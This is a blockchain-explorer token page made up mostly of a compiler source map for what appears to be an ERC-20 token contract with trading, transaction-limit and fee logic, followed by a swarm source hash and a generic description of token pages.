:67;5633:10;9260:7;9288:15;9269:16;:34;9237:8;:67::i;:::-;-1:-1:-1;9335:4:0;;8934:413;-1:-1:-1;;;8934:413:0:o;7726:175::-;7812:4;7829:42;5633:10;7853:9;7864:6;7829:9;:42::i;13951:182::-;6080:6;;-1:-1:-1;;;;;6080:6:0;5633:10;6142:23;6134:68;;;;-1:-1:-1;;;6134:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14036:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;;;:39;;-1:-1:-1;;14036:39:0::1;::::0;::::1;;::::0;;::::1;::::0;;;14091:34;;1163:41:1;;;14091:34:0::1;::::0;1136:18:1;14091:34:0::1;;;;;;;13951:182:::0;;:::o;13817:126::-;6080:6;;-1:-1:-1;;;;;6080:6:0;5633:10;6142:23;6134:68;;;;-1:-1:-1;;;6134:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13898:30:0;;;::::1;;::::0;;;:22:::1;:30;::::0;;;;:37;;-1:-1:-1;;13898:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13817:126::o;19064:100::-;6080:6;;-1:-1:-1;;;;;6080:6:0;5633:10;6142:23;6134:68;;;;-1:-1:-1;;;6134:68:0;;;;;;;:::i;:::-;19129:1:::1;19116:10;:14:::0;;;19141:11:::1;:15:::0;19064:100::o;6341:201::-;6080:6;;-1:-1:-1;;;;;6080:6:0;5633:10;6142:23;6134:68;;;;-1:-1:-1;;;6134:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6430:22:0;::::1;6422:73;;;::::0;-1:-1:-1;;;6422:73:0;;7547:2:1;6422:73:0::1;::::0;::::1;7529:21:1::0;7586:2;7566:18;;;7559:30;7625:34;7605:18;;;7598:62;-1:-1:-1;;;7676:18:1;;;7669:36;7722:19;;6422:73:0::1;7345:402:1::0;6422:73:0::1;6506:28;6525:8;6506:18;:28::i;:::-;6341:201:::0;:::o;11068:346::-;-1:-1:-1;;;;;11170:19:0;;11162:68;;;;-1:-1:-1;;;11162:68:0;;7954:2:1;11162:68:0;;;7936:21:1;7993:2;7973:18;;;7966:30;8032:34;8012:18;;;8005:62;-1:-1:-1;;;8083:18:1;;;8076:34;8127:19;;11162:68:0;7752:400:1;11162:68:0;-1:-1:-1;;;;;11249:21:0;;11241:68;;;;-1:-1:-1;;;11241:68:0;;8359:2:1;11241:68:0;;;8341:21:1;8398:2;8378:18;;;8371:30;8437:34;8417:18;;;8410:62;-1:-1:-1;;;8488:18:1;;;8481:32;8530:19;;11241:68:0;8157:398:1;11241:68:0;-1:-1:-1;;;;;11322:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11374:32;;1595:25:1;;;11374:32:0;;1568:18:1;11374:32:0;;;;;;;11068:346;;;:::o;14726:2818::-;-1:-1:-1;;;;;14824:18:0;;14816:68;;;;-1:-1:-1;;;14816:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14903:16:0;;14895:64;;;;-1:-1:-1;;;14895:64:0;;;;;;;:::i;:::-;14976:6;14986:1;14976:11;14972:93;;15004:28;15020:4;15026:2;15030:1;15004:15;:28::i;:::-;14726:2818;;;:::o;14972:93::-;15081:14;;;;15077:1056;;;6080:6;;-1:-1:-1;;;;;15116:15:0;;;6080:6;;15116:15;;;;:32;;-1:-1:-1;6080:6:0;;-1:-1:-1;;;;;15135:13:0;;;6080:6;;15135:13;;15116:32;:52;;;;-1:-1:-1;;;;;;15152:16:0;;;;15116:52;:77;;;;-1:-1:-1;;;;;;15172:21:0;;15186:6;15172:21;;15116:77;:90;;;;-1:-1:-1;15198:8:0;;-1:-1:-1;;;15198:8:0;;;;15197:9;15116:90;15112:1010;;;15232:13;;;;;;;15227:150;;-1:-1:-1;;;;;15278:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;15307:23:0;;;;;;:19;:23;;;;;;;;15278:52;15270:87;;;;-1:-1:-1;;;15270:87:0;;9572:2:1;15270:87:0;;;9554:21:1;9611:2;9591:18;;;9584:30;-1:-1:-1;;;9630:18:1;;;9623:52;9692:18;;15270:87:0;9370:346:1;15270:87:0;-1:-1:-1;;;;;15429:31:0;;;;;;:25;:31;;;;;;;;:62;;;;-1:-1:-1;;;;;;15465:26:0;;;;;;:22;:26;;;;;;;;15464:27;15429:62;15425:682;;;15534:11;;15524:6;:21;;15516:78;;;;-1:-1:-1;;;15516:78:0;;9923:2:1;15516:78:0;;;9905:21:1;9962:2;9942:18;;;9935:30;10001:34;9981:18;;;9974:62;-1:-1:-1;;;10052:18:1;;;10045:42;10104:19;;15516:78:0;9721:408:1;15516:78:0;15651:15;;-1:-1:-1;;;;;7692:18:0;;7665:7;7692:18;;;;;;;;;;;15625:22;;:6;:22;:::i;:::-;:41;;15617:73;;;;-1:-1:-1;;;15617:73:0;;10336:2:1;15617:73:0;;;10318:21:1;10375:2;10355:18;;;10348:30;-1:-1:-1;;;10394:18:1;;;10387:49;10453:18;;15617:73:0;10134:343:1;15617:73:0;15425:682;;;-1:-1:-1;;;;;15766:29:0;;;;;;:25;:29;;;;;;;;:62;;;;-1:-1:-1;;;;;;15800:28:0;;;;;;:22;:28;;;;;;;;15799:29;15766:62;15762:345;;;15871:11;;15861:6;:21;;15853:79;;;;-1:-1:-1;;;15853:79:0;;10684:2:1;15853:79:0;;;10666:21:1;10723:2;10703:18;;;10696:30;10762:34;10742:18;;;10735:62;-1:-1:-1;;;10813:18:1;;;10806:43;10866:19;;15853:79:0;10482:409:1;15762:345:0;-1:-1:-1;;;;;15963:26:0;;;;;;:22;:26;;;;;;;;15958:149;;16048:15;;-1:-1:-1;;;;;7692:18:0;;7665:7;7692:18;;;;;;;;;;;16022:22;;:6;:22;:::i;:::-;:41;;16014:73;;;;-1:-1:-1;;;16014:73:0;;10336:2:1;16014:73:0;;;10318:21:1;10375:2;10355:18;;;10348:30;-1:-1:-1;;;10394:18:1;;;10387:49;10453:18;;16014:73:0;10134:343:1;16014:73:0;16194:4;16145:28;7692:18;;;;;;;;;;;16252:15;;16298:10;;16228:39;;;;;16298:10;;;;;:23;;;;-1:-1:-1;16313:8:0;;-1:-1:-1;;;16313:8:0;;;;16312:9;16298:23;:74;;;;-1:-1:-1;;;;;;16343:29:0;;;;;;:25;:29;;;;;;;;16298:74;:121;;;;-1:-1:-1;;;;;;16394:25:0;;;;;;:19;:25;;;;;;;;16393:26;16298:121;:149;;;;-1:-1:-1;;;;;;16424:23:0;;;;;;:19;:23;;;;;;;;16423:24;16298:149;16280:365;;;16475:8;:15;;-1:-1:-1;;;;16475:15:0;-1:-1:-1;;;16475:15:0;;;16507:29;;;;16520:16;:14;:16::i;:::-;16559:8;;16551:49;;-1:-1:-1;;;;;16559:8:0;;;;16578:21;16551:49;;;;;16559:8;16551:49;16559:8;16551:49;16578:21;16559:8;16551:49;;;;;;;;;;;;;;;;;;;;-1:-1:-1;16617:8:0;:16;;-1:-1:-1;;;;16617:16:0;;;16280:365;16673:8;;-1:-1:-1;;;;;16783:25:0;;16657:12;16783:25;;;:19;:25;;;;;;16673:8;-1:-1:-1;;;16673:8:0;;;;;16672:9;;16783:25;;:52;;-1:-1:-1;;;;;;16812:23:0;;;;;;:19;:23;;;;;;;;16783:52;16779:100;;;-1:-1:-1;16862:5:0;16779:100;16891:12;16996:7;16992:499;;;-1:-1:-1;;;;;17048:29:0;;;;;;:25;:29;;;;;;;;:48;;;;;17095:1;17081:11;;:15;17048:48;17044:298;;;17124:32;17152:3;17124:23;17135:11;;17124:6;:10;;:23;;;;:::i;:::-;:27;;:32::i;:::-;17117:39;;17044:298;;;-1:-1:-1;;;;;17218:31:0;;;;;;:25;:31;;;;;;;;:49;;;;;17266:1;17253:10;;:14;17218:49;17214:128;;;17295:31;17322:3;17295:22;17306:10;;17295:6;:10;;:22;;;;:::i;:31::-;17288:38;;17214:128;17362:8;;17358:91;;17391:42;17407:4;17421;17428;17391:15;:42::i;:::-;17465:14;17475:4;17465:14;;:::i;:::-;;;16992:499;17503:33;17519:4;17525:2;17529:6;17503:15;:33::i;:::-;14805:2739;;;;14726:2818;;;:::o;6550:191::-;6643:6;;;-1:-1:-1;;;;;6660:17:0;;;-1:-1:-1;;;;;;6660:17:0;;;;;;;6693:40;;6643:6;;;6660:17;6643:6;;6693:40;;6624:16;;6693:40;6613:128;6550:191;:::o;14530:188::-;-1:-1:-1;;;;;14613:31:0;;;;;;:25;:31;;;;;;:39;;-1:-1:-1;;14613:39:0;;;;;;;;;;14670:40;;14613:39;;:31;14670:40;;;14530:188;;:::o;9355:699::-;-1:-1:-1;;;;;9461:20:0;;9453:70;;;;-1:-1:-1;;;9453:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9542:23:0;;9534:71;;;;-1:-1:-1;;;9534:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9702:17:0;;9678:21;9702:17;;;;;;;;;;;9738:23;;;;9730:74;;;;-1:-1:-1;;;9730:74:0;;11231:2:1;9730:74:0;;;11213:21:1;11270:2;11250:18;;;11243:30;11309:34;11289:18;;;11282:62;-1:-1:-1;;;11360:18:1;;;11353:36;11406:19;;9730:74:0;11029:402:1;9730:74:0;-1:-1:-1;;;;;9840:17:0;;;:9;:17;;;;;;;;;;;9860:22;;;9840:42;;9904:20;;;;;;;;:30;;9876:6;;9840:9;9904:30;;9876:6;;9904:30;:::i;:::-;;;;;;;;9969:9;-1:-1:-1;;;;;9952:35:0;9961:6;-1:-1:-1;;;;;9952:35:0;;9980:6;9952:35;;;;1595:25:1;;1583:2;1568:18;;1449:177;9952:35:0;;;;;;;;9442:612;9355:699;;;:::o;18149:438::-;18238:4;18194:23;7692:18;;;;;;;;;;;;18261:20;;;18257:59;;18298:7;18149:438::o;18257:59::-;18350:13;;18332:15;:31;18328:95;;;-1:-1:-1;18398:13:0;;18328:95;18515:15;18543:36;18515:15;18543:16;:36::i;3647:98::-;3705:7;3732:5;3736:1;3732;:5;:::i;:::-;3725:12;3647:98;-1:-1:-1;;;3647:98:0:o;3753:::-;3811:7;3838:5;3842:1;3838;:5;:::i;17552:589::-;17702:16;;;17716:1;17702:16;;;;;;;;17678:21;;17702:16;;;;;;;;;;-1:-1:-1;17702:16:0;17678:40;;17747:4;17729;17734:1;17729:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;17729:23:0;;;-1:-1:-1;;;;;17729:23:0;;;;;17773:15;-1:-1:-1;;;;;17773:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17763:4;17768:1;17763:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1;;;;;17763:32:0;;;-1:-1:-1;;;;;17763:32:0;;;;;17808:62;17825:4;17840:15;17858:11;17808:8;:62::i;:::-;17909:224;;-1:-1:-1;;;17909:224:0;;-1:-1:-1;;;;;17909:15:0;:66;;;;:224;;17990:11;;18016:1;;18060:4;;18087;;18107:15;;17909:224;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17607:534;17552:589;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2092:118::-;2178:5;2171:13;2164:21;2157:5;2154:32;2144:60;;2200:1;2197;2190:12;2215:382;2280:6;2288;2341:2;2329:9;2320:7;2316:23;2312:32;2309:52;;;2357:1;2354;2347:12;2309:52;2396:9;2383:23;2415:31;2440:5;2415:31;:::i;:::-;2465:5;-1:-1:-1;2522:2:1;2507:18;;2494:32;2535:30;2494:32;2535:30;:::i;:::-;2584:7;2574:17;;;2215:382;;;;;:::o;2999:247::-;3058:6;3111:2;3099:9;3090:7;3086:23;3082:32;3079:52;;;3127:1;3124;3117:12;3079:52;3166:9;3153:23;3185:31;3210:5;3185:31;:::i;3251:388::-;3319:6;3327;3380:2;3368:9;3359:7;3355:23;3351:32;3348:52;;;3396:1;3393;3386:12;3348:52;3435:9;3422:23;3454:31;3479:5;3454:31;:::i;:::-;3504:5;-1:-1:-1;3561:2:1;3546:18;;3533:32;3574:33;3533:32;3574:33;:::i;3644:380::-;3723:1;3719:12;;;;3766;;;3787:61;;3841:4;3833:6;3829:17;3819:27;;3787:61;3894:2;3886:6;3883:14;3863:18;3860:38;3857:161;;3940:10;3935:3;3931:20;3928:1;3921:31;3975:4;3972:1;3965:15;4003:4;4000:1;3993:15;3857:161;;3644:380;;;:::o;4438:356::-;4640:2;4622:21;;;4659:18;;;4652:30;4718:34;4713:2;4698:18;;4691:62;4785:2;4770:18;;4438:356::o;5411:306::-;5499:6;5507;5515;5568:2;5556:9;5547:7;5543:23;5539:32;5536:52;;;5584:1;5581;5574:12;5536:52;5613:9;5607:16;5597:26;;5663:2;5652:9;5648:18;5642:25;5632:35;;5707:2;5696:9;5692:18;5686:25;5676:35;;5411:306;;;;;:::o;6001:245::-;6068:6;6121:2;6109:9;6100:7;6096:23;6092:32;6089:52;;;6137:1;6134;6127:12;6089:52;6169:9;6163:16;6188:28;6210:5;6188:28;:::i;6251:127::-;6312:10;6307:3;6303:20;6300:1;6293:31;6343:4;6340:1;6333:15;6367:4;6364:1;6357:15;6383:125;6448:9;;;6469:10;;;6466:36;;;6482:18;;:::i;8560:401::-;8762:2;8744:21;;;8801:2;8781:18;;;8774:30;8840:34;8835:2;8820:18;;8813:62;-1:-1:-1;;;8906:2:1;8891:18;;8884:35;8951:3;8936:19;;8560:401::o;8966:399::-;9168:2;9150:21;;;9207:2;9187:18;;;9180:30;9246:34;9241:2;9226:18;;9219:62;-1:-1:-1;;;9312:2:1;9297:18;;9290:33;9355:3;9340:19;;8966:399::o;10896:128::-;10963:9;;;10984:11;;;10981:37;;;10998:18;;:::i;11436:168::-;11509:9;;;11540;;11557:15;;;11551:22;;11537:37;11527:71;;11578:18;;:::i;11609:217::-;11649:1;11675;11665:132;;11719:10;11714:3;11710:20;11707:1;11700:31;11754:4;11751:1;11744:15;11782:4;11779:1;11772:15;11665:132;-1:-1:-1;11811:9:1;;11609:217::o;11963:127::-;12024:10;12019:3;12015:20;12012:1;12005:31;12055:4;12052:1;12045:15;12079:4;12076:1;12069:15;12095:251;12165:6;12218:2;12206:9;12197:7;12193:23;12189:32;12186:52;;;12234:1;12231;12224:12;12186:52;12266:9;12260:16;12285:31;12310:5;12285:31;:::i;12351:980::-;12613:4;12661:3;12650:9;12646:19;12692:6;12681:9;12674:25;12718:2;12756:6;12751:2;12740:9;12736:18;12729:34;12799:3;12794:2;12783:9;12779:18;12772:31;12823:6;12858;12852:13;12889:6;12881;12874:22;12927:3;12916:9;12912:19;12905:26;;12966:2;12958:6;12954:15;12940:29;;12987:1;12997:195;13011:6;13008:1;13005:13;12997:195;;;13076:13;;-1:-1:-1;;;;;13072:39:1;13060:52;;13167:15;;;;13132:12;;;;13108:1;13026:9;12997:195;;;-1:-1:-1;;;;;;;13248:32:1;;;;13243:2;13228:18;;13221:60;-1:-1:-1;;;13312:3:1;13297:19;13290:35;13209:3;12351:980;-1:-1:-1;;;12351:980:1:o

Swarm Source

ipfs://595c1018ea2f65ee949a86ec2b32d65f7388d04ef460025901a1da57ffe64fe4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.